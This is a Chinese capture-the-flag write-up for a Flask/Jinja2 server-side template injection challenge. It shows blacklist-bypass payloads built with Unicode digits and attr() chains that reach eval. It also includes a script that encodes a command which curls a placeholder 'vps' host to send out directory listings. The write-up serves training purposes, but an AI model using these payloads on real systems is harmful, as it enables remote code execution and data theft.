MAR-DASCTF明御攻防赛题解

  1. 1. baby_flask
    1. 1.1. 拼凑数字
    2. 1.2. chr和eval
    3. 1.3. 命令

baby_flask

Jinja2 模板的 SSTI , 过滤的东西有点多.

1
2
3
4
5
6
7
8
9
Hi young boy!</br>
Do you like ssti?</br>
blacklist</br>
'.','[','\'','"',''\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>
</br>

拼凑数字

参考: https://xz.aliyun.com/t/9271

过滤了宽字符,count和length, 找了很多过滤器没找到什么可以用的. 最后发现可以用Unicode绕过

image-20210327192303333

别的思路:

参考: https://blog.csdn.net/rfrder/article/details/113866139

可以使用 (xxx).index(x)来取到数字. . 被过滤, 可以使用 (xxx)|attr(index)(x) 来绕过

chr和eval

参考: https://blog.csdn.net/rfrder/article/details/113866139

1
2
3
4
5
6
7
8
9
10
11
{%set%20pp=(dict(p=a,op=b)|join)|join()%}
{%set%20a=((x|map|string()|list())|attr(pp)(𝟮𝟬))%}{%print(a)%}{%set%20ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{%print(ini)%}
{%set%20glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{%print(glo)%}
{%set%20gti=(a,a,dict(ge=a,titem=b)|join,a,a)|join()%}{%print(gti)%}
{%set%20built=(a,a,dict(bui=a,ltins=b)|join,a,a)|join()%}{%print(built)%}
{%set%20ccc=(dict(ch=a,r=b)|join)|join()%}{%print(ccc)%}
{%set%20c=(x|attr(ini)|attr(glo)|attr(gti))(built)|attr(gti)(ccc)%}{{c}}
{%set%20cmd=xxxxxxxxxxxx%}{%print(cmd)%}
{%set%20eva=(dict(ev=a,al=b)|join)|join()%}
{%set%20ee=(x|attr(ini)|attr(glo)|attr(gti))(built)|attr(gti)(eva)%}
{%print(ee(cmd))%}

坑点是 x.chrx.eval , 需要写成 x|attr('__getitem__')('chr') 的形式绕过. , chreval也都需要分别获得.

命令

用chr配合Unicode转换为需要字母, 残次脚本,还需要手动调整输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def trans2u(payload):
res=''
for i in payload:
if i=='0':
res=res+'𝟶'
elif i =='1':
res=res+'𝟷'
elif i =='2':
res=res+'𝟸'
elif i=='3':
res=res+'𝟹'
elif i=='4':
res=res+'𝟺'
elif i =='5':
res=res+'𝟻'
elif i =='6':
res=res+'𝟼'
elif i=='7':
res=res+'𝟽'
elif i=='8':
res=res+'𝟾'
elif i=='9':
res=res+'𝟿'
else:
res=res+i
return res

payload='__import__("os").popen("curl http://vps:8888?p=`ls /var/www/flask | base64`").read()'
res=''
for i in payload:
res = res + f"~c({ord(i)})"
# print(res)
print(repr(trans2u(res)))